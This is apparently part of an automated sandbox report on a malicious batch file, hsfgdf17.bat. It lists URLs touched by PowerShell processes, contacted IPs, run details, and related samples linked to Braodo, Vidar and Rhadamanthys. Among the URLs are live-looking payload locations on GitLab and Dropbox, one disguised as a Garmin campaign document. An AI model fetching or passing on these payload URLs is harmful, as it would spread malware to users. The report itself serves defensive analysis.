                                                  https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.dopowershell.exe, 0000000C.00000002.2245850172.0000026A15102000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.microsoft.copowershell.exe, 0000000C.00000002.2266123287.0000026A2F334000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://contoso.com/Licensepowershell.exe, 00000010.00000002.2399307643.000001D5128A4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://snowplow.trx.gitlab.netpowershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://app.hellosign.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://collector.prd-278964.gl-product-analytics.compowershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://www.hellosign.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://instructorledlearning.dropboxbusiness.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://www.dropbox.com/page_success/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://gitlab.compowershell.exe, 0000000F.00000002.2317473023.0000027151222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://www.dropbox.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://gitlab.com/garvdsf/dsfg/-/raw/main/fga1712.zippowershell.exe, 0000000F.00000002.2376986372.0000027168900000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://www.dropbox.com/pithos/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://sales.dropboxbusiness.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://go.microppowershell.exe, 00000010.00000002.2399307643.000001D511B43000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://photos.dropbox.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://a.sprig.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://www.docsend.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://www.dropbox.com/encrypted_folder_download/service_worker.jspowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://gitlab.com/assets/powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_envpowershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://navi.dropbox.jp/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://contoso.com/powershell.exe, 00000010.00000002.2399307643.000001D5128A4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://nuget.org/nuget.exepowershell.exe, 0000000C.00000002.2246968888.0000026A18C08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2263053219.0000026A273D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2263053219.0000026A27292000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2367807660.0000027160662000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151FD2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2367807660.00000271607A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2480192516.000001D520F82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2480192516.000001D5210C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2399307643.000001D5128A4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                https://www.dropbox.com/static/api/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://www.dropboxstatic.com/static/powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://apis.google.compowershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://officeapps-df.live.compowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://api.login.yahoo.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 0000000C.00000002.2246968888.0000026A17221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.00000271505F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2399307643.000001D510F11000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            https://sentry.gitlab.netpowershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              https://login.yahoo.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://docsend.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://www.dropbox.com/playlist/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://www.recaptcha.net/powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://onedrive.live.com/pickerpowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://gitlab.com(powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          http://nuget.org/NuGet.exepowershell.exe, 0000000C.00000002.2246968888.0000026A18C08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2263053219.0000026A273D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2263053219.0000026A27292000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2367807660.0000027160662000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151FD2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2367807660.00000271607A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2480192516.000001D520F82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2480192516.000001D5210C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2399307643.000001D5128A4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://showcase.dropbox.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://www.dropbox.com/static/serviceworker/powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://www.dropbox.compowershell.exe, 0000000C.00000002.2246968888.0000026A18583000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000010.00000002.2399307643.000001D511143000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://uc09529f5e3b244b4704aaf91c74.dl.dropboxusercontent.compowershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                    • Avira URL Cloud: safe
                                                                                                                                    		unknown
                                                                                                                                    http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000010.00000002.2399307643.000001D511143000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      https://go.micropowershell.exe, 0000000C.00000002.2246968888.0000026A17E52000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151222000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        https://new-sentry.gitlab.netpowershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://contoso.com/Iconpowershell.exe, 00000010.00000002.2399307643.000001D5128A4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            https://www.dropbox.com/v/s/playlist/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              http://www-env.dropbox-dns.compowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                https://github.com/Pester/Pesterpowershell.exe, 00000010.00000002.2399307643.000001D511143000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  https://docs.sandbox.google.com/document/fsip/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    https://docs.sandbox.google.com/spreadsheets/fsip/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      https://docs.google.com/document/fsip/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        https://help.dropbox.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          https://docs.google.com/presentation/fsip/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                            		high
                                                                                                                                                            https://canny.io/sdk.jspowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                              		high
                                                                                                                                                              https://gitlab.com/-/sandbox/powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                https://gitlab.com/admin/powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  https://uc09529f5e3b244b4704aaf91c74.dl.dropboxusercontent.com/cd/0/get/CghQiQjJ6jJTz2MU_KT5dxuUuqFTpowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                                                  		unknown
                                                                                                                                                                  https://customers.gitlab.compowershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                    		high
                                                                                                                                                                    https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                      		high
                                                                                                                                                                      https://gitlab.com/-/speedscope/index.htmlpowershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                        		high
                                                                                                                                                                        https://selfguidedlearning.dropboxbusiness.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                          		high
                                                                                                                                                                          https://www.google.com/recaptcha/powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                            		high
                                                                                                                                                                            https://sourcegraph.compowershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                              		high
                                                                                                                                                                              https://aka.ms/pscore68powershell.exe, 0000000C.00000002.2246968888.0000026A17221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.00000271505F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2399307643.000001D510F11000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                		high
                                                                                                                                                                                https://docs.sandbox.google.com/presentation/fsip/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		high
                                                                                                                                                                                  http://www.apache.opowershell.exe, 0000000F.00000002.2374989163.0000027168811000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  https://dl-web.dropbox.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                    		high
                                                                                                                                                                                    https://app.hellofax.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                      		high
                                                                                                                                                                                      https://cfl.dropboxstatic.com/static/powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                        		high
                                                                                                                                                                                        https://www.paypal.com/sdk/jspowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                          		high
                                                                                                                                                                                          https://docs.google.com/spreadsheets/fsip/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            https://www.dropbox.com/csp_log?policy_name=metaserver-whitelistpowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                              		high

                                                                                                                                                                                              World Map of Contacted IPs

                                                                                                                                                                                              • No. of IPs < 25%
                                                                                                                                                                                              • 25% < No. of IPs < 50%
                                                                                                                                                                                              • 50% < No. of IPs < 75%
                                                                                                                                                                                              • 75% < No. of IPs

                                                                                                                                                                                              Public IPs

                                                                                                                                                                                              IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                              172.65.251.78
                                                                                                                                                                                              		gitlab.comUnited States
                                                                                                                                                                                              		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                              162.125.69.18
                                                                                                                                                                                              		www-env.dropbox-dns.comUnited States
                                                                                                                                                                                              		19679DROPBOXUSfalse

                                                                                                                                                                                              General Information

                                                                                                                                                                                              Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                              Analysis ID:1578270
                                                                                                                                                                                              Start date and time:2024-12-19 14:12:13 +01:00
                                                                                                                                                                                              Joe Sandbox product:CloudBasic
                                                                                                                                                                                              Overall analysis duration:0h 6m 2s
                                                                                                                                                                                              Hypervisor based Inspection enabled:false
                                                                                                                                                                                              Report type:full
                                                                                                                                                                                              Cookbook file name:default.jbs
                                                                                                                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                              Number of analysed new started processes analysed:19
                                                                                                                                                                                              Number of new started drivers analysed:0
                                                                                                                                                                                              Number of existing processes analysed:0
                                                                                                                                                                                              Number of existing drivers analysed:0
                                                                                                                                                                                              Number of injected processes analysed:0
                                                                                                                                                                                              Technologies:
                                                                                                                                                                                              • HCA enabled
                                                                                                                                                                                              • EGA enabled
                                                                                                                                                                                              • AMSI enabled
                                                                                                                                                                                              Analysis Mode:default
                                                                                                                                                                                              Analysis stop reason:Timeout
                                                                                                                                                                                              Sample name:hsfgdf17.bat
                                                                                                                                                                                              Detection:MAL
                                                                                                                                                                                              Classification:mal92.troj.evad.winBAT@30/16@2/2
                                                                                                                                                                                              EGA Information:Failed
                                                                                                                                                                                              HCA Information:
                                                                                                                                                                                              • Successful, ratio: 100%
                                                                                                                                                                                              • Number of executed functions: 17
                                                                                                                                                                                              • Number of non-executed functions: 0
                                                                                                                                                                                              Cookbook Comments:
                                                                                                                                                                                              • Found application associated with file extension: .bat

                                                                                                                                                                                              Warnings

                                                                                                                                                                                              • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                                              • Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
                                                                                                                                                                                              • Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                              • Execution Graph export aborted for target powershell.exe, PID 3948 because it is empty
                                                                                                                                                                                              • Execution Graph export aborted for target powershell.exe, PID 5876 because it is empty
                                                                                                                                                                                              • Execution Graph export aborted for target powershell.exe, PID 7120 because it is empty
                                                                                                                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                              • VT rate limit hit for: hsfgdf17.bat

                                                                                                                                                                                              Simulations

                                                                                                                                                                                              Behavior and APIs

                                                                                                                                                                                              TimeTypeDescription
                                                                                                                                                                                              08:13:22API Interceptor66x Sleep call for process: powershell.exe modified

                                                                                                                                                                                              Joe Sandbox View / Context

                                                                                                                                                                                              IPs

                                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                              172.65.251.78build_setup.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                              • gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
                                                                                                                                                                                              162.125.69.18QhR8Zp6fZs.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                CNUXJvLcgw.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                  xWpAZpLw47.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                    RFQ Letter and Instructions.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      kjshdgacg18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                        sldkjgsdGarDe3.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                          jhsdfggga13.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                            Garsdgwqa13de.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                              https://t.ly/2PGC5Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                hngarm13de02.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse

                                                                                                                                                                                                                  Domains

                                                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                  gitlab.comhnsjdghf18.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                                                                                                                                  • 172.65.251.78
